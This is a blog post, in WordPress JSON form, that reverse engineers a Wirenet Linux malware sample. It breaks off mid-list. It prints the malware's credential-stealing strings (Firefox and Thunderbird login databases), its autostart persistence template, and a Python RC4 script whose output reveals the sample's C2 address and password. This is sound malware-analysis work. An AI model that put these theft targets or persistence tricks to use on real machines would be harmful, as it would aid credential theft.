{"id":18,"date":"2023-11-11T12:09:41","date_gmt":"2023-11-11T12:09:41","guid":{"rendered":"https:\/\/tolva.fr\/?p=18"},"modified":"2023-11-23T21:48:20","modified_gmt":"2023-11-23T21:48:20","slug":"this-is-an-article-about-something","status":"publish","type":"post","link":"https:\/\/tolva.fr\/index.php\/2023\/11\/11\/this-is-an-article-about-something\/","title":{"rendered":"Reverse engineering of wirenet malware"},"content":{"rendered":"\n<div class=\"wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-353c4f5a wp-block-group-is-layout-flex\">\n<p>Like many peoples how wishing to level up in reverse engineering, i recently attempted to reverse a malware.<\/p>\n\n\n\n<p>I therefore cloned theZoo (<a href=\"https:\/\/github.com\/ytisf\/theZoo\">https:\/\/github.com\/ytisf\/theZoo<\/a>), and started analyzing a randomly chosen sample.<\/p>\n\n\n\n<p>This sample occured to be a wirenet sample. Wirenet, which is a malware targeting Linux and MacOS, was discovered around 2013 and has already been thoroughly analyzed.<\/p>\n\n\n\n<p>There is therefore nothing new here, but i wanted to do this by myself.<\/p>\n\n\n\n<p>So, let&rsquo;s go ! The binary we&rsquo;re gonna analyze has the following MD5 hash:<\/p>\n<\/div>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-516b10e1aaf6e6e694f060e9379b0f5c\"><code>$ md5sum wirenet\n9a0e765eecc5433af3dc726206ecc56e  wirenet<\/code><\/pre>\n\n\n\n<p>Quite expectedly, the binary occurs to be stripped:<\/p>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-6f4b017132417d280c858baf2716e44d\"><code>$ file wirenet\nwirenet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-linux.so.2, BuildID&#91;sha1]=1d6a83ebcbe23ce206306ae89f0ec24b4c028b2c, stripped<\/code><\/pre>\n\n\n\n<p>Which means that its .symtab sections (among other) has been removed:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-741ec5e3a7c46654b6bf2ede8d800f45\"><code>$ readelf --sections wirenet\nIl y a 21 en-t\u00eates de section, d\u00e9butant \u00e0 l'adresse de d\u00e9calage 0xf848:\n\nEn-t\u00eates de section&nbsp;:\n  &#91;Nr] Nom               Type            Adr      D\u00e9cala.Taille ES Fan LN Inf Al\n  &#91; 0]                   NULL            00000000 000000 000000 00      0   0  0\n  &#91; 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1\n  &#91; 2] .note.gnu.bu&#91;...] NOTE            08048168 000168 000024 00   A  0   0  4\n  &#91; 3] .hash             HASH            0804818c 00018c 000904 04   A  5   0  4\n  &#91; 4] .gnu.hash         GNU_HASH        08048a90 000a90 0007d8 04   A  5   0  4\n  &#91; 5] .dynsym           DYNSYM          08049268 001268 001380 10   A  6   1  4\n  &#91; 6] .dynstr           STRTAB          0804a5e8 0025e8 000fa9 00   A  0   0  1\n  &#91; 7] .gnu.version      VERSYM          0804b592 003592 000270 02   A  5   0  2\n  &#91; 8] .gnu.version_r    VERNEED         0804b804 003804 0000e0 00   A  6   3  4\n  &#91; 9] .rel.plt          REL             0804b8e4 0038e4 000250 08   A  5  10  4\n  &#91;10] .plt              PROGBITS        0804bb40 003b40 0004b0 04  AX  0   0 16\n  &#91;11] .text             PROGBITS        0804bff0 003ff0 009e92 00  AX  0   0 16\n  &#91;12] .rodata           PROGBITS        08055e88 00de88 000aed 00   A  0   0  8\n  &#91;13] .eh_frame_hdr     PROGBITS        08056978 00e978 000024 00   A  0   0  4\n  &#91;14] .eh_frame         PROGBITS        0805699c 00e99c 000080 00   A  0   0  4\n  &#91;15] .dynamic          DYNAMIC         08057f3c 00ef3c 0000b8 08  WA  6   0  4\n  &#91;16] .got.plt          PROGBITS        08057ff4 00eff4 000134 04  WA  0   0  4\n  &#91;17] .data             PROGBITS        08058128 00f128 000618 00  WA  0   0  4\n  &#91;18] .bss              NOBITS          08058740 00f740 003b64 00  WA  0   0  4\n  &#91;19] .comment          PROGBITS        00000000 00f740 000056 01  MS  0   0  1\n  &#91;20] .shstrtab         STRTAB          00000000 00f796 0000b1 00      0   0  1\nCl\u00e9 des fanions&nbsp;:\n  W (\u00e9criture), A (allocation), X (ex\u00e9cution), M (fusion), S (cha\u00eenes), I (info),\n  L (ordre des liens), O (traitement suppl\u00e9mentaire par l'OS requis), G (groupe),\n  T (TLS), C (compress\u00e9), x (inconnu), o (sp\u00e9cifique \u00e0 l'OS), E (exclu),\n  p (processor specific)<\/code><\/pre>\n\n\n\n<p>Another classical step when reversing a malware is to use the strings command:<\/p>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-146b1ded596652b54f55455fe12125f0\"><code>$ strings wirenet \n\/lib\/ld-linux.so.2\n:IaB8\n@P B\njIIH\n-*l5_\nBpl=\n7Fs_\n*vXXK\nlibdl.so.2\ndlopen\ndlsym\ndlclose\nlibpthread.so.0\npthread_mutex_unlock\npthread_create\n__errno_location\n(...)<\/code><\/pre>\n\n\n\n<p>The output contains around 900 lines. Among them, we can find some interesting information who give a fairly clear first idea of what this malware does.<\/p>\n\n\n\n<p>Thus, we see strings who seems dedicated to handle HTTP requests:<\/p>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-8edee086e0e78eaee26deb491ace10fa\"><code>FCONNECT %s:%d HTTP\/1.0\n200 OK\n(...)\nGET %s HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>strings related to firefox, thunderbird and sqlite, which suggests that the malware might have (passwords\/cookies)-stealing functions targeting firefox and thunderbird (firefox stores various information such as cookies, history into sqlite files):<\/p>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-a1b1dfdf3d8dea17193f7d7668bc08f8\"><code>firefox-3*\n\/usr\/lib\nfirefox-4*\nthunderbird-*\nlibmozsqlite3.so\nHOME\n%s\/.mozilla\/firefox\/profiles.ini\n%s\/.mozilla\/firefox\/%s\n%s\/.thunderbird\/profiles.ini\n%s\/.thunderbird\/%s\n%s\/.mozilla\/seamonkey\/profiles.ini\n%s\/.mozilla\/seamonkey\/%s\n%s\/signons.sqlite\nNSS_Init\nPK11_GetInternalKeySlot\nPK11_Authenticate\nNSSBase64_DecodeBuffer\nPK11SDR_Decrypt\nPK11_FreeSlot\nNSS_Shutdown\nsqlite3_open\nsqlite3_close\nsqlite3_prepare_v2\nsqlite3_step\nsqlite3_column_text\nselect *  from moz_logins\n%c%s\n%s\/.opera\/wand.dat\n%s\/.purple\/accounts.xml<\/code><\/pre>\n\n\n\n<p>In the same way, the binary contains google-chrome \/ chromium related paths, which also suggests passwords\/cookies stealing functionality:<\/p>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-6a327c031ec1574ad9b11f2d65291702\"><code>$ cat ~\/.config\/autostart\/WIFIADAPTER.desktop\n%s\/.config\/autostart\/%s.desktop\n\/tmp\/.%s\n%s\/.config\/autostart\n%s\/%s.desktop\n&#91;Desktop Entry]\nType=Application\nExec=\"%s\"\nHidden=false\nName=%s<\/code><\/pre>\n\n\n\n<p>Looking at the imports section also gives an idea of what the binary does, but here something quite strange occurs:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-c0def0380b45f9a03ea26a5e27e7a63f\"><code>$ objdump -T wirenet\n\nwirenet:     format de fichier elf32-i386\n\nDYNAMIC SYMBOL TABLE:\n00000000      DF *UND*\t00000000  GLIBC_2.0   setsockopt\n00000000      DF *UND*\t00000000  GLIBC_2.0   pthread_mutex_unlock\n00000000      DF *UND*\t00000000  GLIBC_2.3.4 __snprintf_chk\n00000000      DF *UND*\t00000000  GLIBC_2.0   strstr\n00000000      DF *UND*\t00000000  GLIBC_2.0   strcmp\n00000000      DF *UND*\t00000000  GLIBC_2.0   read\n00000000      DF *UND*\t00000000  GLIBC_2.0   dup\n00000000      DF *UND*\t00000000  GLIBC_2.0   free\n00000000      DF *UND*\t00000000  GLIBC_2.0   fgets\n00000000      DF *UND*\t00000000  GLIBC_2.1   fclose\n(...)\n08054aa3 g    DF .text\t000000bf  Base        SendAuthenticationPacket\n08052233 g    DF .text\t0000002e  Base        MemCompare\n0804f385 g    DF .text\t00000015  Base        cpMkDir\n0804ebf2 g    DF .text\t0000023c  Base        cpListFiles\n0805be64 g    DO .bss\t00000004  Base        _XGetImage\n08051de0 g    DF .text\t00000052  Base        StrToInt\n08058610 g    DO .data\t00000100  Base        ConnectionString\n0804ebdc g    DF .text\t00000016  Base        cpListDrives\n08050be8 g    DF .text\t000000d0  Base        ExtractProfileName\n08054906 g    DF .text\t00000080  Base        RC4Crypt\n08051ce0 g    DF .text\t0000003b  Base        StrCopy\n0805be28 g    DO .bss\t00000004  Base        _XGetWMName\n08053f88 g    DF .text\t00000029  Base        SubBytes\n08051d1b g    DF .text\t00000064  Base        StrConcatenate\n080517af g    DF .text\t000001d9  Base        DecodeSQLitePayloadData\n08050937 g    DF .text\t00000124  Base        cpMouseDown\n0805be68 g    DO .bss\t00000004  Base        _XGetInputFocus\n08053e8f g    DF .text\t00000044  Base        SubWord\n0804f172 g    DF .text\t00000109  Base        cpCopyFile<\/code><\/pre>\n\n\n\n<p>While the begining of this .dynsym section dump references various functions imports from libc, the end of this dump contains internal functions, such as cpCopyFile, RC4Crypt or SendAuthenticationPacket.<\/p>\n\n\n\n<p>Let&rsquo;s compile the small program below to illustrate why it is uncommon:<\/p>\n\n\n\n<pre class=\"wp-block-code has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-b4eadc7927aa4216f3156569830c877b\"><code>$ cat test.c\n#include &lt;stdio.h&gt;\n\nint myfunc(int a, int b)\n{\n\treturn a + b;\n}\n\nint main(int argc, char **argv)\n{\n\tprintf(\"%d\\n\", myfunc(atoi(argv&#91;1]), atoi(argv&#91;2])));\n\n\treturn 0;\n}\n$ gcc test.c -o test ; cp test test.strip ; strip test.strip\n(...)<\/code><\/pre>\n\n\n\n<p>Now if we compare the sections of test (original binary) and test.strip, we see that .symtab and .strtab sections are deleted from test.strip:<\/p>\n\n\n\n<p>First on the original binary:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-6e271d6011e27ae41ae4c16b4872bb07\"><code>$ readelf -W --sections test\nIl y a 30 en-t\u00eates de section, d\u00e9butant \u00e0 l'adresse de d\u00e9calage 0x39b0:\n\nEn-t\u00eates de section&nbsp;:\n  &#91;Nr] Nom               Type            Adr              D\u00e9cala.Taille ES Fan LN Inf Al\n  &#91; 0]                   NULL            0000000000000000 000000 000000 00      0   0  0\n  &#91; 1] .interp           PROGBITS        00000000000002a8 0002a8 00001c 00   A  0   0  1\n  &#91; 2] .note.gnu.build-id NOTE            00000000000002c4 0002c4 000024 00   A  0   0  4\n  &#91; 3] .note.ABI-tag     NOTE            00000000000002e8 0002e8 000020 00   A  0   0  4\n  &#91; 4] .gnu.hash         GNU_HASH        0000000000000308 000308 000024 00   A  5   0  8\n  &#91; 5] .dynsym           DYNSYM          0000000000000330 000330 0000c0 18   A  6   1  8\n  &#91; 6] .dynstr           STRTAB          00000000000003f0 0003f0 000089 00   A  0   0  1\n  &#91; 7] .gnu.version      VERSYM          000000000000047a 00047a 000010 02   A  5   0  2\n  &#91; 8] .gnu.version_r    VERNEED         0000000000000490 000490 000020 00   A  6   1  8\n  &#91; 9] .rela.dyn         RELA            00000000000004b0 0004b0 0000c0 18   A  5   0  8\n  &#91;10] .rela.plt         RELA            0000000000000570 000570 000030 18  AI  5  23  8\n  &#91;11] .init             PROGBITS        0000000000001000 001000 000017 00  AX  0   0  4\n  &#91;12] .plt              PROGBITS        0000000000001020 001020 000030 10  AX  0   0 16\n  &#91;13] .plt.got          PROGBITS        0000000000001050 001050 000008 08  AX  0   0  8\n  &#91;14] .text             PROGBITS        0000000000001060 001060 0001d1 00  AX  0   0 16\n  &#91;15] .fini             PROGBITS        0000000000001234 001234 000009 00  AX  0   0  4\n  &#91;16] .rodata           PROGBITS        0000000000002000 002000 000008 00   A  0   0  4\n  &#91;17] .eh_frame_hdr     PROGBITS        0000000000002008 002008 000044 00   A  0   0  4\n  &#91;18] .eh_frame         PROGBITS        0000000000002050 002050 000130 00   A  0   0  8\n  &#91;19] .init_array       INIT_ARRAY      0000000000003de8 002de8 000008 08  WA  0   0  8\n  &#91;20] .fini_array       FINI_ARRAY      0000000000003df0 002df0 000008 08  WA  0   0  8\n  &#91;21] .dynamic          DYNAMIC         0000000000003df8 002df8 0001e0 10  WA  6   0  8\n  &#91;22] .got              PROGBITS        0000000000003fd8 002fd8 000028 08  WA  0   0  8\n  &#91;23] .got.plt          PROGBITS        0000000000004000 003000 000028 08  WA  0   0  8\n  &#91;24] .data             PROGBITS        0000000000004028 003028 000010 00  WA  0   0  8\n  &#91;25] .bss              NOBITS          0000000000004038 003038 000008 00  WA  0   0  1\n  &#91;26] .comment          PROGBITS        0000000000000000 003038 000027 01  MS  0   0  1\n  &#91;27] .symtab           SYMTAB          0000000000000000 003060 000630 18     28  45  8\n  &#91;28] .strtab           STRTAB          0000000000000000 003690 000216 00      0   0  1\n  &#91;29] .shstrtab         STRTAB          0000000000000000 0038a6 000107 00      0   0  1<\/code><\/pre>\n\n\n\n<p>Then on the stripped one:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-ab9c17f6faa8273fee82b20e14fa8b38\"><code>$ readelf -W --sections test.strip\nIl y a 28 en-t\u00eates de section, d\u00e9butant \u00e0 l'adresse de d\u00e9calage 0x3158:\n\nEn-t\u00eates de section&nbsp;:\n  &#91;Nr] Nom               Type            Adr              D\u00e9cala.Taille ES Fan LN Inf Al\n  &#91; 0]                   NULL            0000000000000000 000000 000000 00      0   0  0\n  &#91; 1] .interp           PROGBITS        00000000000002a8 0002a8 00001c 00   A  0   0  1\n  &#91; 2] .note.gnu.build-id NOTE            00000000000002c4 0002c4 000024 00   A  0   0  4\n  &#91; 3] .note.ABI-tag     NOTE            00000000000002e8 0002e8 000020 00   A  0   0  4\n  &#91; 4] .gnu.hash         GNU_HASH        0000000000000308 000308 000024 00   A  5   0  8\n  &#91; 5] .dynsym           DYNSYM          0000000000000330 000330 0000c0 18   A  6   1  8\n  &#91; 6] .dynstr           STRTAB          00000000000003f0 0003f0 000089 00   A  0   0  1\n  &#91; 7] .gnu.version      VERSYM          000000000000047a 00047a 000010 02   A  5   0  2\n  &#91; 8] .gnu.version_r    VERNEED         0000000000000490 000490 000020 00   A  6   1  8\n  &#91; 9] .rela.dyn         RELA            00000000000004b0 0004b0 0000c0 18   A  5   0  8\n  &#91;10] .rela.plt         RELA            0000000000000570 000570 000030 18  AI  5  23  8\n  &#91;11] .init             PROGBITS        0000000000001000 001000 000017 00  AX  0   0  4\n  &#91;12] .plt              PROGBITS        0000000000001020 001020 000030 10  AX  0   0 16\n  &#91;13] .plt.got          PROGBITS        0000000000001050 001050 000008 08  AX  0   0  8\n  &#91;14] .text             PROGBITS        0000000000001060 001060 0001d1 00  AX  0   0 16\n  &#91;15] .fini             PROGBITS        0000000000001234 001234 000009 00  AX  0   0  4\n  &#91;16] .rodata           PROGBITS        0000000000002000 002000 000008 00   A  0   0  4\n  &#91;17] .eh_frame_hdr     PROGBITS        0000000000002008 002008 000044 00   A  0   0  4\n  &#91;18] .eh_frame         PROGBITS        0000000000002050 002050 000130 00   A  0   0  8\n  &#91;19] .init_array       INIT_ARRAY      0000000000003de8 002de8 000008 08  WA  0   0  8\n  &#91;20] .fini_array       FINI_ARRAY      0000000000003df0 002df0 000008 08  WA  0   0  8\n  &#91;21] .dynamic          DYNAMIC         0000000000003df8 002df8 0001e0 10  WA  6   0  8\n  &#91;22] .got              PROGBITS        0000000000003fd8 002fd8 000028 08  WA  0   0  8\n  &#91;23] .got.plt          PROGBITS        0000000000004000 003000 000028 08  WA  0   0  8\n  &#91;24] .data             PROGBITS        0000000000004028 003028 000010 00  WA  0   0  8\n  &#91;25] .bss              NOBITS          0000000000004038 003038 000008 00  WA  0   0  1\n  &#91;26] .comment          PROGBITS        0000000000000000 003038 000027 01  MS  0   0  1\n  &#91;27] .shstrtab         STRTAB          0000000000000000 00305f 0000f7 00      0   0  1<\/code><\/pre>\n\n\n\n<p>The test binary and its stripped version have the identical .dynsym sections:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-e2e0b3c28692a30e3a8328700d56841c\"><code>$ objdump -T test\n\ntest:     format de fichier elf64-x86-64\n\nDYNAMIC SYMBOL TABLE:\n0000000000000000  w   D  *UND*\t0000000000000000              _ITM_deregisterTMCloneTable\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 printf\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 __libc_start_main\n0000000000000000  w   D  *UND*\t0000000000000000              __gmon_start__\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 atoi\n0000000000000000  w   D  *UND*\t0000000000000000              _ITM_registerTMCloneTable\n0000000000000000  w   DF *UND*\t0000000000000000  GLIBC_2.2.5 __cxa_finalize<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-8dda5b0dc532aa93df81c0e154b89bf5\"><code>$ objdump -T test.strip \n\ntest.strip:     format de fichier elf64-x86-64\n\nDYNAMIC SYMBOL TABLE:\n0000000000000000  w   D  *UND*\t0000000000000000              _ITM_deregisterTMCloneTable\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 printf\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 __libc_start_main\n0000000000000000  w   D  *UND*\t0000000000000000              __gmon_start__\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 atoi\n0000000000000000  w   D  *UND*\t0000000000000000              _ITM_registerTMCloneTable\n0000000000000000  w   DF *UND*\t0000000000000000  GLIBC_2.2.5 __cxa_finalize<\/code><\/pre>\n\n\n\n<p>Note that the myfunc function, internal to test program, does not appear in this section who only contains symbols from libc.<\/p>\n\n\n\n<p>The only section in which myfunc appears is the symtab section of the unstripped binary :<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-7f52a2b8702c40c55030e076e9f511a9\"><code>$ objdump -t test | grep myfunc\n0000000000001145 g     F .text\t0000000000000014              myfunc<\/code><\/pre>\n\n\n\n<p>To sum up:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Symbols associated to internal functions (such myfunc in this example, and cpCopyFile, RC4Crypt or SendAuthenticationPacket in the malware) of an ELF binary only appear in the .symtab section (while .dynsym section contains symbols imported from external libraries)<\/li>\n\n\n\n<li>The .symtab section is removed when stripping a binary<\/li>\n\n\n\n<li>Therefore a stripped binary is not supposed to contain symbol\/name of its internal functions.<\/li>\n\n\n\n<li>Therefore having a malware whose .dynsym section contains symbols of internal functions is quite <em>uncommon<\/em>.<\/li>\n<\/ul>\n\n\n\n<p>After some researchs, it appears that it&rsquo;s in fact possible to build a binary in such a way that its .dynsym section contains symbols of its internal functions: The &#8211;export-dynamic of the linker:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-ec92f9b186a536582a017554ab490642\"><code>$ gcc test.c -o test.export -Wl,--export-dynamic\n$ objdump -T test.export \n\ntest.export:     format de fichier elf64-x86-64\n\nDYNAMIC SYMBOL TABLE:\n0000000000000000  w   D  *UND*\t0000000000000000              _ITM_deregisterTMCloneTable\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 printf\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 __libc_start_main\n0000000000000000  w   D  *UND*\t0000000000000000              __gmon_start__\n0000000000000000      DF *UND*\t0000000000000000  GLIBC_2.2.5 atoi\n0000000000000000  w   D  *UND*\t0000000000000000              _ITM_registerTMCloneTable\n0000000000004038 g    D  .data\t0000000000000000  Base        _edata\n0000000000004028 g    D  .data\t0000000000000000  Base        __data_start\n0000000000004040 g    D  .bss\t0000000000000000  Base        _end\n0000000000000000  w   DF *UND*\t0000000000000000  GLIBC_2.2.5 __cxa_finalize\n0000000000004028  w   D  .data\t0000000000000000  Base        data_start\n0000000000001145 g    DF .text\t0000000000000014  Base        myfunc\n0000000000002000 g    DO .rodata\t0000000000000004  Base        _IO_stdin_used\n00000000000011d0 g    DF .text\t000000000000005d  Base        __libc_csu_init\n0000000000001060 g    DF .text\t000000000000002b  Base        _start\n0000000000004038 g    D  .bss\t0000000000000000  Base        __bss_start\n0000000000001159 g    DF .text\t0000000000000069  Base        main\n0000000000001230 g    DF .text\t0000000000000001  Base        __libc_csu_fini<\/code><\/pre>\n\n\n\n<p>While this options gives a possible explanation of having our wirenet sample embedding names of its internal functions, there is no way to be sure what the wirenet developper exactly did.<\/p>\n\n\n\n<p>Now let&rsquo;s examinate the main() function in IDA.<\/p>\n\n\n\n<p>The first basic block calls InitAESTable, InitTransfersList, ReadSettings and InstallHost subfunction:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"568\" height=\"499\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_main_bb1.png\" alt=\"\" class=\"wp-image-34\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_main_bb1.png 568w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_main_bb1-300x264.png 300w\" sizes=\"auto, (max-width: 568px) 100vw, 568px\" \/><\/figure>\n\n\n\n<p>We won&rsquo;t dwell on InitAESTable and InitTransfersList, so let&rsquo;s directly go to ReadSettings:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"303\" height=\"604\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ReadSettings_bb1.png\" alt=\"\" class=\"wp-image-35\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ReadSettings_bb1.png 303w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ReadSettings_bb1-150x300.png 150w\" sizes=\"auto, (max-width: 303px) 100vw, 303px\" \/><\/figure>\n\n\n\n<p>This function inits an RC4 decryption context (RC4Setup function), then perform several calls to RC4Crypt to decrypt its configuration, one call per configuration element:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"296\" height=\"672\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_DecryptSettings_bb1.png\" alt=\"\" class=\"wp-image-36\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_DecryptSettings_bb1.png 296w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_DecryptSettings_bb1-132x300.png 132w\" sizes=\"auto, (max-width: 296px) 100vw, 296px\" \/><\/figure>\n\n\n\n<p>The RC4 context is initialized with the BuildEncryptionKey hardcoded key:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"662\" height=\"256\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_RC4_key.png\" alt=\"\" class=\"wp-image-37\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_RC4_key.png 662w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_RC4_key-300x116.png 300w\" sizes=\"auto, (max-width: 662px) 100vw, 662px\" \/><\/figure>\n\n\n\n<p>We can reproduce this logic in a small python script to decrypt ourself the configuration of wirenet:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-9b5f6ad2e062c1d39d8a6ac468e02055\"><code>$ cat decrypt_wir$ cat decrypt_wirenet_config.py\n#!\/usr\/bin\/python3\n\nimport shutil\nimport sys\n\ndef read_file_at_offset(filepath, offset, length):\n\tfd = open(filepath, 'rb')\n\tfd.seek(offset)\n\tbuffer = fd.read(length)\n\tfd.close()\n\n\tstr_buffer = \"\"\n\tfor i in range(len(buffer)):\n\t\t\n\t\tc = hex(buffer&#91;i])\n\t\td = c&#91;2:]\n\t\te = d.zfill(2)\n\t\tf = \"\\\\x\" + e\n\t\t\n\t\tstr_buffer += f\n\treturn buffer\n\ndef rc4_key_scheduling(key):\n    klen = len(key)\n    rc4_state = list(range(256))\n    j = 0\n    for i in range(256):\n        j = (j + rc4_state&#91;i] + key&#91;i % klen]) % 256\n        rc4_state&#91;i], rc4_state&#91;j] = rc4_state&#91;j], rc4_state&#91;i]\n    return rc4_state\n\ndef rc4_prga(rc4_state):\n    i = 0\n    j = 0\n    while True:\n        i = (i + 1) % 256\n        j = (j + rc4_state&#91;i]) % 256\n\n        rc4_state&#91;i], rc4_state&#91;j] = rc4_state&#91;j], rc4_state&#91;i]\n        keystream = rc4_state&#91;(rc4_state&#91;i] + rc4_state&#91;j]) % 256]\n        yield keystream\n\ndef rc4_keystream(key):\n    rc4_state = rc4_key_scheduling(key)\n    return rc4_prga(rc4_state)\n\ndef rc4_encrypt(key, plaintext):\n    keystream = rc4_keystream(key)\n\n    enc = list()\n    for p in plaintext:\n        c = (p ^ next(keystream)).to_bytes(1, 'little')\n        enc.append(c)\n    return b''.join(enc)\n\ndef mangle_str(string):\n\ti = string.find(b'\\x00')\n\tif i == -1:\n\t\treturn string\n\telse:\n\t\tmangled = string&#91;:i]\n\t\treturn mangled\n\ndef main(args):\n\tfilepath = args&#91;1]\n\tkey = read_file_at_offset(filepath, 0xf4d8, 0x10)\n\n\tencrypted_c2_addr = read_file_at_offset(filepath, 0xf610, 0xff)\n\tencrypted_proxy_conf = read_file_at_offset(filepath, 0xf510, 0xff)\n\tencrypted_password = read_file_at_offset(filepath, 0xf4ec, 0x20)\n\tencrypted_hostId = read_file_at_offset(filepath, 0xf4c4, 0x10)\n\tencrypted_mutexName = read_file_at_offset(filepath, 0xf4b8, 0x08)\n\tencrypted_installPath = read_file_at_offset(filepath, 0xf434, 0x80)\n\tencrypted_startupKeyName1 = read_file_at_offset(filepath, 0xf420, 0x10)\n\tencrypted_startupKeyName2 = read_file_at_offset(filepath, 0xf3f8, 0x26)\n\tencrypted_keyLoggerFileName = read_file_at_offset(filepath, 0xf374, 0x80)\n\tencrypted_boolSettingsByte = read_file_at_offset(filepath, 0xf370, 0x03)\n\tencrypted_connectionType = read_file_at_offset(filepath, 0xf36c, 0x03)\n\n\tc2_addr = rc4_encrypt(key, encrypted_c2_addr)\n\tproxy_conf = rc4_encrypt(key, encrypted_proxy_conf)\n\tpassword = rc4_encrypt(key, encrypted_password)\n\thostId = rc4_encrypt(key, encrypted_hostId)\n\tmutexName = rc4_encrypt(key, encrypted_mutexName)\n\tinstallPath = rc4_encrypt(key, encrypted_installPath)\n\tstartupKeyName1 = rc4_encrypt(key, encrypted_startupKeyName1)\n\tstartupKeyName2 = rc4_encrypt(key, encrypted_startupKeyName2)\n\tkeyLoggerFileName = rc4_encrypt(key, encrypted_keyLoggerFileName)\n\tboolSettingsByte = rc4_encrypt(key, encrypted_boolSettingsByte)\n\tconnectionType = rc4_encrypt(key, encrypted_connectionType)\n\n\tprint(\"key: %r\" % key)\n\tprint(\"c2_addr: %r\" % mangle_str(c2_addr))\n\tprint(\"proxy_conf: %r\" % mangle_str(proxy_conf))\n\tprint(\"password: %r\" % mangle_str(password))\n\tprint(\"hostId: %r\" % mangle_str(hostId))\n\tprint(\"mutexName: %r\" % mangle_str(mutexName))\n\tprint(\"installPath: %r\" % mangle_str(installPath))\n\tprint(\"startupKeyName1: %r\" % mangle_str(startupKeyName1))\n\tprint(\"startupKeyName2: %r\" % mangle_str(startupKeyName2))\n\tprint(\"keyLoggerFileName: %r\" % mangle_str(keyLoggerFileName))\n\tprint(\"boolSettingsByte: %r\" % mangle_str(boolSettingsByte))\n\tprint(\"connectionType: %r\" % mangle_str(connectionType))\n\nmain(sys.argv)\n$ python3 .\/decrypt_wirenet_config.py .\/wirenet\nkey: b'U\\xb9\\xc7\\xd6\\xacJ4\\xdf\\xc2j\\xf4\\xe3\\xd8\\xc9\\xccB'\nc2_addr: b'212.7.208.65:4141;'\nproxy_conf: b'-'\npassword: b'sm0k4s523syst3m523'\nhostId: b'LINUX'\nmutexName: b'vJEewiWD'\ninstallPath: b'%home%\/WIFIADAPT'\nstartupKeyName1: b'WIFIADAPTER'\nstartupKeyName2: b'-'\nkeyLoggerFileName: b'%Home%\\\\.m8d.dat'\nboolSettingsByte: b'237'\nconnectionType: b'001'<\/code><\/pre>\n\n\n\n<p>The configuration contains, among other, the following parts:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>the IP address and TCP port of the C2,<\/li>\n\n\n\n<li>the proxy configuration,<\/li>\n\n\n\n<li>a password (its purpose will be explained later),<\/li>\n\n\n\n<li>the name of a file used as a mutex,<\/li>\n\n\n\n<li>a file where 